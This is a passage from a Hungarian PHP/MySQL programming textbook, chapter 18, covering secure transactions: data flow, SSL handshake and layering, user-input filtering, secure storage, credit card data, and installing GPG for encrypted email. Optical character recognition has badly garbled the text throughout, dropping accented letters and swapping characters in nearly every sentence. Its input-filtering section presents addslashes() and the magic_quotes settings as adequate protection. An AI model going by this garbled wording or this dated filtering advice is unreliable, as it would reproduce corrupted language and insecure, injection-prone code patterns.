dokumentcijt a letlttt tmrtett llomnyban tallj uk. Mivel a letlts mrete nem nagy, mr

csak azrt is rdemes letlteni a tmrtett llomnyt s megnzni a readme fjlt, hogy tovbbi informcit szerezhessnk errl a modulrl.

Hogyan tovbb
A kvetkez fejezetben azt mutatjuk be, hogyan rkdjnk adataink biztonsga felett a bevitel, a tovbbts s a trols sszes rszfolyamata sorn. Ehhez szksg lesz az SSL, a digitlis tanstvnyok s a titkosts hasznlatra.

17

18 Biztonsgos tranzakcik vgrehajtsa PHP vel s MySQL ... Iel


... A fejezet sorn megtudhag uk, hogy kezeljk biztonsgosan a felhasznli adatokar bevicelk, tovbbtsuk s trolsuk sorn. Ezzel megteremthetjk az oldalunk s a felhasznJk kzcci, celjes egszben biztonsgos tranzakci lehecsgt. A fejezetben az albbi fbb tmakrkkel foglalkozunk: Biztonsgos tranzakcik megteremtse A Secure Sockets Layer (SSL) protokoll hasznlata Biztonsgos trols megvalsrsa Hitelkrtyaszmok trolsa Titkosts hasznlata PHP-ben

Biztonsgos tranzakcik megteremtse


Az interneten keresztli biztonsgos tranzakcik megteremtshez meg kell vizsglnunk, hogyan mozog rendszernkben az infor mci, s nnden ponton gondoskodnunk kell biztonsgrL Az informarikai hlzatok terletn nem beszlhetnk abszolt biz tonsgrl. Soha senki nem tud olyan rendszere ltrehozni, amelybe nem lehet behatolni. A biztonsg alatt azt rqk, hogy a rendszer vagy adattvitel feltrshez szksges erfesztsek nagysgrendje elri vagy meghaladja az rintert informcik rtkr. Ha szetetnnk hatkony erfesztseket tenni a biztonsg rdekben, vizsgljuk meg, hogyan ramlik az informci rendsze rnk klnbz rszei kztt. A 18.1 bra PHP s MySQL hasznlatval megrt, tipikus alkalmazs esetn mutatja a felhasz nli informci tjt. -
Felhasznl Webszerver MySQL motor

Trolt oldalak

Adatfjlok

MySQL adatok

18.1 bra: Egy tipikus webes alkalmazs jellemzen az albbi trol, feldolgoz elemekbl pl fel. Rendszernk kialaktscl, illetve a cranzakcit kivlt felhasznli adatoktl s mveletekcl fggen a rendszernkben elfordul tranzakcik rszletei eltrhecnek a fenti smtL Minden tranzakcit ugyangy rdemes megvizsglni. A webes alkalmazs s a felhasznl kzrti sszes tranzakci azzal indul, hogy a felhasznl bngszje az interneten keresztl krst intz a kiszolglhoz. Ha az oldal PHP kdban tallhat, a kiszolgl az oldal feldolgozst a PHP motorra bzza. A PHP kd olvashaqa s lemezre rhatja az adatokat. Az include ( ) s a require ( ) urasrssal ms PHP s HTML fjlokat is beilleszchet. Az SQL lekrdezseket elkldi a MySQL dmonnak, s fogadja az arrl rkez vlaszokat. A MySQL motor felels a sajt adatainak olvassrt s lemezre rsrt.

278

18.

fejezet

A rendszer hrom f alkotelembl ll: A felhasznl gpe Az internet Sajt rendszernk A kvetkezkben kln-kln foglalkozunk ezen alkotelemek biztonsgi krdseivel, de nyilvnval, hogy a felhasznl gpe s az internet felett igen kevs befolyssal brunk.

A felhasznl gpe
Rendszernk szempontjbl a felhasznl gpe bngszt vagy bngszket futtat. Semmilyen rhatsunk nincsen az olyan tnyezkre, mint pldul a gp biztonsgi belltsai. Gondolnunk kell arra is, hogy a gp esetleg egyltaln nem biztonsgos, vagy lehet knyvtrban, iskolban, internetkvzban tallhat, megosztott terminl is. Tbbfle bngsz ltezik, s mindegyik kiss eltr funkcikat s jellemzket knl. Ha csak a kt legnpszerbb bngsz legfrissebb verziira gondolunk, akkor a kztk lv klnbsgek nagy rsze a HTML kd kezelsre s megjelentsre korl tozdik, m neknk a biztonsgi s a funkcionlis krdsekkel is foglalkoznunk kell. Ne feledjk, hogy egyes felhasznJk kikapcsoljk a szerintk biztonsgi vagy adatvdelmi kockzatokkal jr funkcikat, pldul aJavt, a stiket vagy aJavaScriptet. Ha alkalmazsunk pt ezekre a funkcikra, akkor mindenkppen teszteljk, hogy miknt mkdik az ezeket nem engedlyez felhasznlknl. Vagy mdegeijk egy kevsb funkcigazdag kezelfellet kiala ktst, amellyel az ilyen vatos emberek is hasznlni tudjk oldal unkat. Elfordulhat, hogy az Egyeslt llamokon s Kanadn kivli felhasznJk bngszje csak a 40 bites ritkosrst tmogatja. Annak ellenre, hogy az amerikai kormnyzat 2000 janurjban trvnymdostssal engedlyezte az ersebb ritkosrsi md szer exportlst (a nem embargs orszgokba), s a legtbb felhasznl szmra ma mt a 128 bites vltozatok is elrhetk, nem biztos, hogy mindenki frisstette bngszjt. Webfejlesztknt mindazonltal nem szksges tlzottan aggdni e krds miatt, kivve, ha oldalunk szvegben garantljuk a felhasznlknak a biztonsgot. Az SSL automatikusan egyeztet kiszolg lnk s a felhasznl bngszje kztt, hogy a mindkett ltal kezelni kpes legmagasabb szint biztonsg mellett kommuni kljanak egymssal. Nem lehetnk biztosak benne, hogy az oldalunkhoz az ltalunk kivnt felleten keresztl kapcsold bngszvel foglalko zunk. Az oldalunkhoz rkez krsek jhetnek a kpeket vagy a tartalmat ellop ms oldalrl vagy a biztonsgi intzkedseink megkerlsre alkalmas szoftvert, pldul cURL-t hasznl szemlytL A bngszktl rkez csatlakozsok szimullsra alkalmas cURL knyvtrral a Hlzati s protokollfggvnyek hasznlata cm 20. fejezetben foglalkozunk majd. Fejlesztknt igen hasznos lehet szmunkra ez az eszkz, ugyanakkor rosszindulatan is hasznlhat. Ugyan a felhasznJk gpeinek belltsait nem tudjuk sem mdostani, sem szablyozni, figyelembe kell vennnk eze ket a krdseket. A felhasznJk gpei kzrt lehetsges komoly klnbsgek befolysolhatjk, hogy milyen funkcikat te sznk elrhetv a szerveroldali programozsban (pldul PHP-ben) s milyeneket a kliensoldali programozsban (pldul JavaScriptben). A PHP-ben megteremtett funkcik minden felhasznl bngszjvel kompatibilisek lehemek, mivel a kd eredmnye egyszeren egy HTML oldal. A nagyon alapvetJavaScript kdon tl brmit hasznlunk, figyelembe kell venni az egyes bn gszk (s azok klnbz verziinak) eltr mkdst. Az olyan feladatoknl, mint pldul az adatrvnyests, biztonsgi szempontbl jobban jrunk szerveroldali programozs sal, mivel forrskdunk ebben az esetben nem lesz lthat a felhasznJk szmra. Ha kizrlagJavaScriptben ellenrizzk az adatokat, a felhasznJk megtekinthetik s esetleg kijtszhatjk a kdot. A megrizni szksges adatokat trolhatjuk sajt gpeinken fjlknt vagy adatbzisrekordknt, illetve a felhasznJk gpn stiknt. A srik hasznlatval korltozott mennyisg adat (munkamenetkulcs) trolsra a Munkamenet-vezrls PHP-ben cm 23. fejezetben foglalkozunk majd. A trolni kvnt adatok tbbsgnek webszervernkn vagy adatbzisunkban a helye. Szmos j oka van annak, hogy a felhasznl gpn mitt csak a lehet legkevesebb adatot szabad trolni. A rendszernkn kvl elhelyezked informcinl nincsen rhatsunk annak biztonsgos trolsra, nem lehetnk biztosak abban, hogy a felhasznl nem trli ki, illetve nem tudjuk megakadlyozni, hogy rendszernk kijtszsra irnyul prblkozsa sorn a felhasznl ne mdostsa azt.

18

Az internet
Nem csak a felhasznJk gpeire, az internet tulajdonsgaira is nagyon csekly a rhatsunk, m ez nem azt jelenti, hogy rend szernk tervezse sorn figyelmen kvl hagyhatjuk ezeket a tulajdonsgokat.

Biztonsgos tranzakcik vgrehajtsa PHP-vel s MySQL-lel

279

Az internet szmos pomps jellemzvel br, de jellegbl addan egy nem biztonsgos hlzatrl van sz. Amikor inform cit kldnk az egyik pontrl a msikra, egy pillanatra sem szabad elfelejtennk, hogy a kldtt informcit msok megtekint hetik vagy akr mdosthatjk. Errl mr esett sz Az e-kereskedelem biztonsgi krdsei cm 15. fejezetben. Ennek tudatban kell eidntennk, hogy milyen intzkedst kvnunk tenni. A szba jhet lehetsgeink: A fentiektl fggetlenl elkldjk az informcit, tudva azt, hogy msok megtekinthetik s esetleg mdostjk. Klds eltt digiclisan alrjuk az informcit, hogy vdjk a mdostscl. Klds eltt titkostjuk az informcit, hogy megrizzk titkossgt, s vdjk a mdoststl. gy hatrozunk, hogy az informci tl bizalmas ahhoz, hogy kockztassuk az illetkeelen kezekbe kerlst, s ms mdszerc keresnk az eljuttatsra. Az internet nagyfok nvtelensget biztost kzeg. Igen nehz meggyzdni arrl, hogy tnyleg azzal a szemllyel llunk kapcsolatban, akinek kiadja magt. Mg ha sajt cljainknak megfelelen meg is bizonyosodunk a felhasznl szemlyazo nossgrl, igen problms lenne ugyanezt olyan frum eltt is bizonytani, mint pldul a brsg. Mindez a letagadhacsg szintjn okoz problmkat, amirl a 15. fejezetben mr esett sz. Rviden: az adatvdelem s a letagadhatsg fontos krds az interneten keresztl folytatott tranzakcik esetben. Legalbb ktfle mdszer ltezik a kiszolglnkra rkez s onnan indul informci biztonsgoss ttelre: Secure Sockets Layer (SSL) protokoll Secure Hypertext Transfer Protocol (S-HTTP) Mindkc technolgia titkos, mdosthatsgtl mentes zenetkldst s hitelestse knl, de mg az SSL szles krben elr het s hasznlt, az S-HTTP nem igazn terjedt el. A fejezet ksbbi rszben rszletesen foglalkozunk az SSL-lel.

Sajt rendszernk
A vilgegyetem ltalunk tnylegesen kontroll alatt tarthat rsze a sajt rendszernk, ami a 18.1 brn a cglalapon belli al kotelemekbl ll ssze. Ezek az alkotelemek fizikailag elklnlhetnek a hlzaton, de az is elfordul, hogy egyetlen gpen helyezkednek el. Viszonylag biztonsgban tudhatjuk az informcit, amg a webes tartalmaink tovbbtsra hasznlt, ms gyrtk ksztette termkek kezelik azt. Ezen szofcverek fejleszti minden bizonnyal tbbet foglalkoztak a biztonsggal, mint amennyi idt mi fordtani tudunk a dologra. Feltve, hogy valamely jl ismert termk friss verzijt futtatjuk, a Google vagy kedvenc keresnk rudatos hasznlatval minden fontos problmrl tudomst szerezhetnk. Tudatostsuk magunkban, hogy igen lnyeges nap raksznek maradnunk e tren! Ha a mi feladatunk a telepts s a konfigurls is, rdemes foglalkoznunk azzal, hogyan leetek teleptve s konfigurlva az egyes szofcverek. A biztonsg tern elkvetett sok hiba a dokumentciban szerepl figyelmeztetsek figyelmen kvl hagy sbl ered, vagy ltalnos, a jelen knyv tartalmi korltain kvl es, rendszergazdai krdsek miatt kvetkezik be. rdemes elolvasni egy j knyvet az ltalunk hasznlni kvnt opercis rendszer belltsrl, vagy fizessk meg egy hozzrt rend szergazda szolglatait! A PHP teleptsekor mrlegelend szempont, hogy a SAPI modulknt webszervernkre teleptse ltalban biztonsgo sabb s hatkonyabb, mint CGI felleten keresztli futtatsa. Webes alkalmazsok fejlesztjeknt elsdlegesen azzal kell foglalkoznunk, hogy kdjaink mit tesznek, illetve mit nem tesznek. Milyen potencilisan bizalmas adatot kld alkalmazsunk a felhasznlknak interneten keresztl? Milyen bizalmas adatok tovbbtst krjk felhasznlinkcl? Ha rendszernk s a felhasznlink kzte ritkos tranzakcikban kell adatot tovbbtani, vagy szinte lehetedenn kell tenni annak mdoscst, akkor rdemes mrlegelni az SSL hasznlatr. Mr szba kerlt az SSL a felhasznl szmtgpe s a kiszolgl kztti hasznlata. Kpzeljk el azt az esetet is, amikor rendszernk kt alkoteleme kzte a hlzaton tovbbtunk adatokat! Tipikus pldja ennek az a helyzet, amikor MySQL adatbzisunk a webszervertl eltr gpen helyezkedik el. A PHP TCP/IP protokollon keresztl csatlakozik MySQL kiszol glnkhoz, s ez a kapcsolat nem titkostott. Ha mindkt gp privt helyi hlzaton mkdik, gondoskodnunk kell a hlzat biztonsgrL Ha a gpek az interneten keresztl kommuniklnak, akkor rendszernk minden bizonnyal lassan fog futni, s pontosan gy kell kezelni ezt a kapcsolatot, mint brmilyen ms, interneten keresztli kapcsolatot. Fontos, hogy amikor a felhasznlk azt gondoljk, hogy velnk kerlnek kapcsolatba, akkor az tnyleg gy legyen. Digitlis tanstvny regisztrlsval vdhetjk ltogatinkat a hamiststl (spoofing), vagyis az olyan tmadsoktl, arnikor valaki oldalunk egy hamistott vltozatra csalja a ltogatkat, illetve anlkl hasznlhacunk SSL protokollt, hogy felhasznlinknak figyelmeztet zenet jelenne meg. Radsul a digitlis tanstvny online vllalkozsunk megbzhatsgt sugallja. A kvetkez krds, hogy kdjaink gondosan ellenrzik-e a felhasznlk ltal bevitt adatokat. Gondoskodunk-e az adatok biztonsgos trolsrl? Ezekre a fejezet kvetkez rszeiben vlaszolunk.

18

280

18. fejezer

Secure Sockets Layer (SSL) protokoll hasznlata

A Secure Sockers Layer (biztonsgos csatlakoz rteg) prorokollkszlerer erederileg a Netscape alalerotta ki a webszerverek s a bngszk kztti biztonsgos kommunikcihoz. Azta a bngszk s kiszolglk kztti bizalmas informcicsere nem hivatalos szabvnyaknt alkalmazzk. Az SSL 2-es s 3-as verzija is szles kren tmogatott. A webszerverek tbbsge vagy tartalmazza az SSL mkdsr, vagy kiegszt modulknt fogadja. Az I nternet Explorer s a F irefox is a 3-as verzirl tmogatja az SSL-r. A hlzati protokollokat s az azokat megvalsr szaftvereket jellernzen egymsra pakolt rtegekbe rendezik. Minden rteg a felerre s alatta lv rtegnek tovbbrhat adatot, illetve azokrl krher szolgltatsokat. A 18.2 brn ilyen protokollver met (protocol stack) lthatunk.
HTIP

IFTP l
IP

SMTP

...

Alkalmazsrteg Szlltsi rteg Hlzati rteg Adatkapcsolati rteg

TCP/UDP

Klnbz

18.2 bra: Alkalmazsrtegbeli protokoll,


pldul a Hypertext Transfer Protocol (HTTP) ltal hasznlt protokollverem. Amikor HTTP-r hasznlunk informcirovbbrsra, a HTTP protokoll meghvja a Transmission Control Protocolt (tviteli vezrl protokollt -TCP), ami viszont az Internet Protoco/ra (IP) tmaszkodik. Ez utbbinak pedig megfelel protokoUra van szksge ahhoz a hlzati eszkzhz, amit az adatcsomagok fogadsra s elektronikus jelknt trtn tovbbrsra hasznlunk. A HTTP-r alkalmazsrtegbeli protokollnak nevezzk. Sok ms ilyen protokoll ltezik, pldul az FT P, az SMTP s a Telner (ahogy ezt a 18.2 bra murarja), illetve a POP s az IMAP. A TCP egyike a TCP /IP hlzarokban hasznlt kr szllrsi rtegbeli prorokollnak. Az IP a hlzati rteg szinrjn lv protokoll. Az adarkapcsolari rteg felels a host (szmitgp) h lzathoz csatlakoztatsrt. A TCP /IP protokollverem nem hatrozza meg az ehhez a rteghez hasznlt protokollokat, mivel a klnbz tpus hlzarokhoz ms s ms protokolira van szksgnk. Adarkldskor az adator lekldjk a vermen r az alkalmazsrl a fizikai hlzati kzegig. Adarfogadskor az adar a fizikai hlzarrl a vermen keresztlhaladva r fel az alkalmazsig. Az SSL hasznlarakor mg egy rteg hozzaddik ehhez a modellhez. Az SSL a szllrsi rteg s az alkalmazsrteg kztt helyezkedik el. Ezt a felprst lthatjuk a 18.3 brn. Az SSL mdosrja a HTML alkalmazsrl kaport adatot, s csak ezt kveten adja t a szllrsi rtegnek, hogy az eljuttassa a clpontba.

HT TP

l l l
kzfogsSSl protokoll titkoshsSSL vlts protokoll figyelSSL meztet6 protokoll

. . .

Alkalmazsrteg SSL rteg Szlltsi rteg Hlzati rteg Adatkapcsolati rteg

SSL Record Protocol TCP IP Host to Network

18.3 bra: Az SSL mg egy rteget ad a protokollveremhez, illetve alkalmazsrtegbeli protokollok hozzadsval szablyazza sajt mkdst. Az SSL kpes biztonsgos tovbbrsi krnyezetet teremteni a HTTP-rl eltr prorokolloknak. Azrt lehet ms protokol lokat hasznlni, mert az SSL lnyegben tltsz. Az SSL ugyanazokat a fellereket knlja a felette lv prorokolloknak, mint az alatra lv szlltsi rteg. gy tlthatan kezeli a kzfogst (handshaking), a titkosrst s a visszafejtst. Amikor egy bngsz HTTP-n keresztl kapcsoldik biztonsgos webszerverhez, a bngsznek s a kiszolglnak kzfogsprotokollt kvetve kell megllapodnia arrl. hogy mir hasznlnak az olyan elemekhez, minr a hitelesrs s a titkosrs. A kzfogs szakasz az albbi lpsekbl ll:

l. A bngsz SSL-t kezelni kpes kiszolglhoz csatlakozik, s megkri, hogy hitelestse magt.

18

2. A kiszolgl elkldi digitlis tanstvnyr. 3. O pcionlisan a kiszolgl is krheti a bngszt, hogy hitelestse magr (ritkn fordul el).

4. A bngsz megadja az ltala tmogatott titkostsi algoritmusok s hash fggvnyek listjt. A kiszolgl kivlasztja az
ltala tmogatott legersebb titkostsr.

Biztonsgos tranzakcik vgrehajtsa PHP-vel s MySQL-lel

281

5. A bngsz s a kiszolgl munkamenetkulcsokat llt el:

a. b. c.

A bngsz megszer a kiszolgl digitlis tansrvnybl a szerver nyilvnos kulcst, s egy vletlenszeren ell ltott szm titkostsra hasznlja. A kiszolgl egyszer szvegknt kldtt, vletlenszer adattal vlaszol (amennyiben a kiszolgl krsre a bng sz megadta digitlis tansrvnyt, akkor a kiszolgl a bngsz nyilvnos kulcst fogja hasznlni). A munkamenet titkostsi kulcsai ezekbl a vletlenszer adatokbl lltdnak el hash fggvnyek hasznlatval.

A j minsg vletlenszer adatok ellltsa, a digitlis tansrvnyak visszafej tse, a kulcsok generlsa s a nyilvnos kulcs titkosts mind idt vesz ignybe, gy a kapcsolatfelvteli procedra eltart egy darabig. Az eredmnyek szerencsre gyorsttrba kerlnek, gy ha ugyanaz a bngsz s kiszolgl tbb biztonsgos zenetet kivn vltani, a kapcsolatfelvteli folyamat s a feldolgozs csak egyszer megy vgbe. SSL kapcsolaton keresztli adatkldskor az albbiak trtnnek:
l. Az adatok kezelhet csomagokra bontsa.

2. Az egyes csomagok (opcionlis) tmrtse. 3. Minden csomag hash algoritmussal srnitott zenethitelest kdot (MAC) kap. 4. A MAC s a tmrtett adat kombinlsa s titkostsa.
5. A titkostott csomagok fejrsz-informcit kapnak, s elklddnek a hlzatnak.

A teljes folyamatot a 18.4 bra mutatja.

Adatunk

Adatcsomagok

Tmrtett adatok

zenethitelest kd

Titkostott csomagok

TCP csomagok

fejrsz WH

l!::t:ttl

t:tm

'l

18.4 bra: Az SSL

klds eltt Jeldarabolja, tmrti, hasheli s titkostja az adatokat.

Az brbl kitnik, hogy a TCP fejrsz hozzadsa az adat titkostsa utn trtnik meg. Ez azt jelenti, hogy az rvlasztsi informcit mg mindig meg tudjk bolygatni, s br azt nem fogjk tudni, hogy rnilyen informcikat kldzgetnk, ltni fogjk, ki kinek kldi azokat. Annak, hogy az SSL-ben a titkosts eltt trtnik a tmrts, az az oka, hogy noha a hlzati forgalom nagy rsze a hl zaton val tovbbts eltt tmrthet (s gyakran valban trndtik is), a titkostott adatok nem jl tmrthetk. A tm rtsi algoritmusok az adatokon belli ismtldseket vagy mintkat prblnak azonostani. ltalban semmilyen haszonnal nem jr, ha az adatok titkostsa, azaz gyakorlatilag vletlenszer bitekk alaktsa utn prbljuk meg tmrteni azokat. Kel lemeden lenne, ha az SSL, amelynek clja a hlzatbiztonsg fokozsa, mellkhatsknc jelents mrtkben nveln a hlzati forgalmat. Noha az SSL viszonylag sszetetten mkdik, a Felhasznlk s a fejlesztk ell rejrve marad a trtntek nagy rsze, mivel a protokoll kls felletei meglv protokollokat msolnak. A jelenleg 1.1-es verzinl jr Transport Layer Security (szlltsi rtegbeli biztonsg, TLS) kzvetlenl az SSL 3.0-ra pl, de az SSL gyengesgeit kikszbl s nagyobb rugalmassgot knl fejlesztseket tartalmaz. A TLS-t egy valban nylt szabvnynak sznjk, hogy ne egy egyeden szervezet ltal meghatrozott, majd msok szmra elrhetv tett szabvny legyen.

18

282

18. fejezet

Felhasznli bevitel szrse


A biztonsgos webes alkalmazsok fejlesztsnek egyik alapelve, hogy soha nem szabad megbzni semmilyen felhasznli bevitelben. Mieltt fjlba vagy adatbzisba tennnk, vagy valamilyen rendszerparancsnak tadnnk a felhasznlktl rkez adatokat, mindig szrjk azokat! A knyv tbb rszben szba kerltek mr a felhasznli bevitel szrsre hasznlhat mdszerek. Hivatkozskppen rviden megemltjk most ezeket: Mieltt a felhasznli adatokat tadnnk az adatbzisnak, az addslashes () fggvnnyel szrjk ket! A fggvny vdkarakterrel ltja el az adatbzis szmra problmt okozni kpes karaktereket. A stripslashes () fggvnnyel llithatjuk vissza az adatokat eredeti formjukba. Kapcsoljuk be php. ini fjlunkban a magic_quotes_gpc s magic_quotes_runtime direktvt! Ezek auto matikusan elvgzik neknk a vdkarakterek hozzadst s eltvoltst. A magic_quotes_gpc a bejv GET, POST s stivltozkra alkalmazza az ilyen formzst, a magic_quote_ runtime pedig az adatbzisba bemen s onnan kijv adarokkal teszi ugyanezt. Amikor a system () vagy az exee () meghvsakor, illerve forditott aposztrfok kzte (') felhasznli adatot adunk t, hasznljuk az escapeshellcmd () fggvnyt! Ez vdkarakterekkel ltja el az sszes olyan metakaraktert, amivel a rosszindulat felhasznlk nekik tetsz parancsok futtatsra knyszerthetik rendszernket. A strip_tags () fggvnnyel HTML s PHP cmkket tvoltharunk el karakterlncokbL Hasznlatval megaka dlyozhatjuk, hogy a felhasznlk rosszindulat kdot helyezzenek el a bngszbe sznt forrsban. Hasznljuk a htmlspecialchars () fggvnyt, amely a megfelel HTML entityv alaktja a karaktereket! A< ka raktert pldul &lt; -v konvertlja. A fggvny veszlytelen karakterekk alaktja az sszes kdcmkt (script tag).

Biztonsgos trols megvalstsa


A trolt adatok hrom tpust (HTML vagy PHP fjlok, kdhoz kapcsold adatok s MySQL adatok), amit a 18.1 brn egymstl elklntve ltunk, gyakran ugyanannak a lemeznek klnbz rszein troljuk. Az eltr adattpusok eltr trolsi kvetelmnyeket tmasztanak, ezrt kln-kln fogunk foglalkozni velk. A legveszlyesebb troland adattpus a futtathat tartalom. Weboldal esetben ez jellemzen a kdokat jelenti. Nagyon kell gyelnnk, hogy a fjlkezelsi jogosultsgokat megfelelerr lltsuk be a weboldal hierarchijban (Apache szerveren a htdocs-bl, IlS szerveren az inetpub-bl indul knyvtrft rtjk ez alatt). Ms felhasznlknak csak olvassi jogosult sguk legyen kdjainkhoz, nem szabad, hogy rjanak beljk vagy szerkesszk azokat! Ugyanez igaz a weboldal hierarchijn bell rallhat knyvtrakra. Csak mi tudjunk rni ezekbe! Ms felhasznlknak, kztk annak is, amelyknt a webszerver fut, nem szabad, hogy jogosultsguk legyen rni a kiszolglrl letlthet knyvtrak ba vagy j fjlokat ltrehozni azokban. Ha megengednnk msoknak, hogy fjlokat rjanak ide, rosszindulat kdot rhatn nak, s a kiszolglra berlrve futtathatnk azt. Ha kdjainknak fjlba rsi jogosultsgra van szksgk, a webes fastruktrn kivl hozzunk ltre e clbl egy knyvtrat! Klnsen igaz ez a fjlfeltlt kdokra. A kdoknak s az lcaluk rt adatoknak nem szabad keveredni k. Bizalmas adatok rsa esetn ksztetst rezhetnk arra, hogy elszr titkostsuk azokat. Ennek azonban ltalban nem sok rtelme van. Kzelrsk meg gy: Ha van kiszolglnkon egy hitel kartas zarnak. txt nev fjl, s egy cracker hozzf rst szerez a kiszolglhoz, s el rudja olvasni ezt a fjlt, akkor minden mst is megtall, nem igaz? Az adatok titkostshoz s visszafejtshez szksgnk van az adarokat titkosr programra, az adatokat visszafejt programra, illerve egy vagy tbb kulcsfjlra. Ha a cracker hozzfr az adatainkhoz, akkor minden bizonnyal semmi sem akadlyozza abban sem, hogy elolvassa kulcs- vagy egyb fjljainkat. Lehet annak rtelme, hogy titkostjuk egy webszervererr az adatokat, de csak akkor, ha a visszafejtshez szksges szofrvert s adatot nem ugyanazon a kiszolgln, hanem egy msik gpen troljuk. A bizalmas adatok biztonsgos kezelsnek egyik j mdszere az, ha a kiszolgln titkostjuk, majd- pldul e-mailben- egy msik gpre tovbbtjuk ket. Az adatbzisadatok az adatfjlokhoz hasonlk. Ha megfelelerr lltjuk be a MySQL-t, csak a MySQL rhat az adatfjljaiba. Ez azt jelenti, hogy csak a MySQL-en belli felhasznlk hozzfrsei miatt kell aggdnunk. Foglalkoztunk mr a MySQL sajt jogosultsgi rendszervel, amely konkrt jogosultsgokat rendel a konkrt gpeken lv konkrt felhasznli nevekhez. Kln figyelemre rdemes az, hogy gyakran kell PHP kdba MySQL-es jelszt rni. PHP kdjaink ltalban nyilvnosan betlthetk. Ez a problma nem is olyan katasztroflis, mint elsre tnhet. Ha webszervernk konfigurcija megfelel, akkor

18

PHP forrsaink kvlrl nem lesznek lthatk. Amennyiben kiszolglnk gy van bellirva, hogy a PHP rtelmezvel dolgozza fel a
.

php

kiterjeszts fjlokat, akkor

a kvlllk nem fogjk tudni megtekinteni az rtelmezs eltti forrskdot. Egyb kiterjesztsek hasznlara esern azonban vatosan kell eljrni. Ha . inc fjlokat helyeznk a webes knyvtrakba, az azokar krk a feldolgozatlan forrsr fogjk meg-

Biztonsgos tranzakcik vgrehajtsa PHP-vel s MySQL-Iel

283

kapni. A heilleszrend fjlokat a webes fastruktrn kvl kell elhelyezni, s gy kell konfigurlni a kiszolglt, hogy ne teljest se az ilyen fjlokta vonatkoz krseket, vagy pedig . php kiterjesztst kell adni ezeknek az llomnyoknak is. Amennyiben msokkal osztozunk a kiszolgln, MySQL-jelszavunk lthatv vlhat a gp azon ms felhasznli szmra, akik ugyanezzel a kiszolglval futtatnak kdokat. Rendszernk belltsaitl fggen ez a helyzet megelzhet. A prebl mt azzal tudjuk elkerlni, ha a kiszolglt gy lltjuk be, hogy klnll felhasznlkknt futtassa a kdokat, vagy minden felhasznlval a webszerver sajt pldnyt futtassa. Ha nem mi vagyunk webszervernk rendszergazdja (ami megosztott kiszolgl esetn nagy valsznsggel igaz), akkor rdemes lehet megtrgyalni a rendszergazdval ezt a krdst s ttekinteni vele a biztonsgi lehetsgeket.

Hitelkrtyaadatok trolsa
A bizalmas adatok biztonsgos trolsnak ttekintse utn rdemes kln foglalkozni a bizalmas adatok egy klnleges fajt jval. Az internet-felhasznlkat klnsen aggasztja hitelkrtyaszmaik biztonsga. Ha trolni kvnjuk ezeket, nagyon krl tekinten jrjunk el! Tegyk fel magunknak a krdst, hogy mirt troljuk ezeket, illetve valban szksg van-e a trolsukra! Mire hasznlunk egy krryaszmot? Ha egyszeri tranzakcinl vals idben dolgozzuk fel a krtyaszmot, akkor jobban jrunk, ha bekrjk a vsrltl, s trols nlkl tovbbtjuk a tranzakci-feldolgoz tjrnak. Ha rendszeres djat szednk be, pldul folyamatos elfizets esetn havonta terheljk a krtyt, akkor ez a meg kzelts nem megfelel szmunkra. Ebben az esetben rdemes mrlegelni annak lehetsgt, hogy a krtyaszmokat a webszervernkn kvl, valahol mshol troljuk. Amennyiben sok vsrl krtyaadatt tervezzk trolni, gondoskodjunk kellen kpzett s kiss paranois rendszergazd rl, aki elegend idvel rendelkezik arra, hogy az opercis rendszernkkel s az ltalunk hasznlt egyb termkekkel, illetve azok biztonsgval foglalkoz informciforrsokat rendszeresen ellenrizze.

Titkosts hasznlata PHP,ben


Egyszer, mgis hasznos feladat, amivel szemlltethetjk a titkostst: a titkostott e-mailek kldse. vekig gyakorlatilag a PGP volt a titkostott e-mail szabvnya. A PGP-t, ami egybknt a Pretty Good Privacy (Meglehetsen j adatvdelem) rvi dtse, Philip R. Zimmermann rta kifejezetten azzal a cllal, hogy adatvdelmet nyjtson az elektronikus levelezshez. A PGP freeware verzii brki szmra elrhetk, de ne feledjk, hogy ez nem ingyenes szofrver! A freeware verzi keres kedelmi clra nem hasznlhat. A PGP Corporationtl letlthet a freeware, illetve megvsrolhat a fizets licenc. Tovbbi informcirt ltogassunk el a http://www.pgp.com oldalra! Ha szeremnk rszletesebben megismerni a PGP trtnett s az elrhet verzikat, olvassuk el Philip Zimmerman"Where to Get PGP?" (Honnan szerezzk be a PGP-t?) rst: http://www.philzimmermann.com/EN/fmdpgp/findpgp.html. Az elmlt idszakban a PGP egy nylt forrskd alternatvja is elrhetv vlt. A GPG rvidtssel ismert Gnu Privacy Guard a PGP ingyenes vltozata. Nem tartalmaz szabadalmaztatott algoritmusokat, s korltozs nlkl hasznlhat kereske delmi clra is. A kt termk igen hasonl mdon ltja el ugyanazt a feladatot. Ha a parancssori eszkzket kvnjuk hasznlni, akkor a kzttk meglv klnbsgek nem szmtanak, de mindkt termk eltr felletekkel rendelkezik (pldul a levelezprog ramokhoz tartoz bvtmnyekkel a berkez e-mailek automatikus visszafejtsre). A GPG a http://www.gnupg.org oldalrl szerezhet be. A kt termket akr egytt is hasznlhatjuk, titkostott zenetet GPG-vel ltrehozva olyan valaki szmra, aki PGP-vel fog ja visszafejteni azt (feltve, hogy a szofrver friss verzijt futtatja). Mivel bennnket az zenetek webszervererr val ltrehozsa rdekel, GPG-t hasznl pldt fogunk megvizsglni, de PGP alkalmazsa esetn sem lenne nagy eltrs az itt lertaktL A knyv pldinak kvetelmnyein tlmenen GPG-re is szksg lesz a most kvetkez kd mkdshez. Elfordulhat, hogy a GPG mr teleptve van rendszernkre. Ellenkez esetben sincs semmi gond - a teleptsi folyamat magtl rtetd, viszont a bellts kicsit trkks lehet.

A GPG teleptse
A GPG Linux gpre teleptshez a www.gnupg.org oldalrl tlthetjk le a megfelel tmrtett fjlt. Attl fggen, hogy a . tar . g z vagy a . tar. b z 2 tmrtett llomnyt vlasztjuk, a gunzip vagy a gnl:
configure (vagy rendszernktl fggen . l configure )
tar

segtsgvel csomagolhatjuk ki.

A program fordtshoz (compile) s teleptshez ugyanazokat a parancsokat kell hasznlni, mint a Linux-prograrnek tbbs

284

18.fezet

make make install

Ha nem vagyunk rendszergazdk (root felhasznlk), a --prefix opcival kell a konfigurl kdot futtatni, valahogy gy: . lconfigure --prefix=lkonyvtarunkleleresilutvonala Aztt kell ezt az opcit hasznlni, mett a nem root felhasznlknak nincsen hozzfrsle a GPG alaprtelmezett knyvtrhoz. Ha minden jl megy, a GPG fordtsa s a futtathat program a lusr llocal Ibinl gpg (vagy az ltalunk meghatrozott knyvtrba) kerl. Sok belltst mdosthatunk, a rszleteket a GPG dokumentcijban talljuk. Windowsos szerver esetn a folyamat mg ennl is egyszerbb. Tltsk le a zip fjlt, csomagoljuk ki, s helyezzk a gpg.
